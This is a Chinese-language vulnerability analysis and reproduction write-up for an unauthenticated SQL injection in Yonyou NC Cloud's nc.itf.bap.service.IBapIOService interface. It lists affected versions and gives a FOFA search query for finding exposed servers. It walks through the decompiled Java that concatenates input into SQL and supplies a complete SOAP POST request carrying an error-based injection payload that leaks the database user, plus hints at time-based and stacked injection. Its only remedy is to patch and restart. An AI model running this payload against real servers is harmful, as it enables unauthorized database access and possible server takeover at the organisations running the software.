漏洞简介
用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC Cloud nc.itf.bap.service.IBapIOService 接口处存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。
影响版本
NC65、NCC1903、NCC1909、NCC2005、NCC2105、NCC2111
fofa语法
body="html/downloadBroswer.html" && body="platform/pub/welcome.do"
漏洞分析
看下 nc.itf.bap.service.IBapIOService 的业务逻辑实现
public BapTableEntity[] getBapTable(String... tableIds) throws Exception {
PerfWatch pw = new PerfWatch(NCLangRes4VoTransl.getNCLangRes().getStrByID("8001006_0", "08001006-0271") + StringTools.arr2Str(tableIds, ","));
BapTableEntity[] tableList;
try {
if (!ArrayUtils.isEmpty(tableIds)) {
List<BapTableEntity> tableList = new ArrayList();
for(String tableId : tableIds) {
MetaTableDef tableDef = null;
try {
tableDef = this.getMetaDef(tableId);
} catch (Exception e) {
pw.appendMessage(e.getMessage());
throw e;
}
if (tableDef != null) {
tableList.add(BapTableEntity.valueof(tableDef));
}
}
tableIds 带入 getMetaDef 函数,其实现逻辑如下
private MetaTableDef getMetaDef(String tableId) throws SmartMetaException {
String[] splits = tableId.split("@");
if (!ArrayUtils.isEmpty(splits) && splits.length >= 2) {
MetaTableDef tableDef = SmartMetaUtilities.getSmartMetaService().getMetaTableByTableName(splits[1], splits[0]);
if (tableDef == null) {
对传入的 tableIds 按照 @ 分割成数组,再将分割后的数组0 和 数组1 带入 SmartMetaUtilities.getSmartMetaService().getMetaTableByTableName 函数,其实现逻辑如下
public MetaTableDef getMetaTableByTableName(String dsName, String tableName) throws SmartMetaException {
if (StringUtils.isEmpty(tableName)) {
return null;
} else {
String clause = " upper(tableid)='" + tableName.toUpperCase() + "' ";
if (StringUtils.isEmpty(dsName)) {
clause = clause + "and isnull(dsname,'~')='~' ";
} else {
clause = clause + "and upper(dsname)='" + dsName.toUpperCase() + "'";
}
Object[] datas = (new DAOAction()).loadByClause(MetaTable.class, SmartConfigCache.getDsName4Design(), clause);
数组1 代表 dsName,数组0 代表 tableName,分别将两个数组部分拼接在SQL语句中,造成SQL注入漏洞。
根据报错也可以看到拼接结果

sql:SELECT guid,dsname,tableid,displayname,displayname2,displayname3,displayname4,displayname5,displayname6,moduleid,authtype,help,creationtime,modifiedtime,creator,modifier,pk_org,pk_group,dirguid,dr,ts,assetLayer,assetIndustry FROM bi_md_table WHERE upper(tableid)='DWQUEUE' and upper(dsname)='MESSAGEQUEUE'OR 1 IN (SELECT HOST_NAME())' Unclosed quotation mark after the character string ''.
漏洞复现
直接访问 wsdl 获取原始 wsdl 内容
GET /uapws/service/nc.itf.bap.service.IBapIOService?wsdl HTTP/1.1
Host: ncc.mrxn.net
直接使用 Burp Suite 自带的API 扫描 扫描此soap api接口即可得到HTTP请求报文。

漏洞验证
POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
Host: ncc.mrxn.net
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService">
<soapenv:Header>
<soapenv:Body>
<gs:getBapTable>
<gs:stringarrayItem>DWQueue@MessageQueue' AND 1=UTL_INADDR.GET_HOST_ADDRESS('~'||(user)||'~')--</gs:stringarrayItem>
</gs:getBapTable>
</soapenv:Body>
</soapenv:Envelope>
通过报错注入,成功在响应回显数据库用户信息

针对 mssql 数据库可使用延时或堆叠注入进行验证。
解决方案
打对应补丁,重启服务





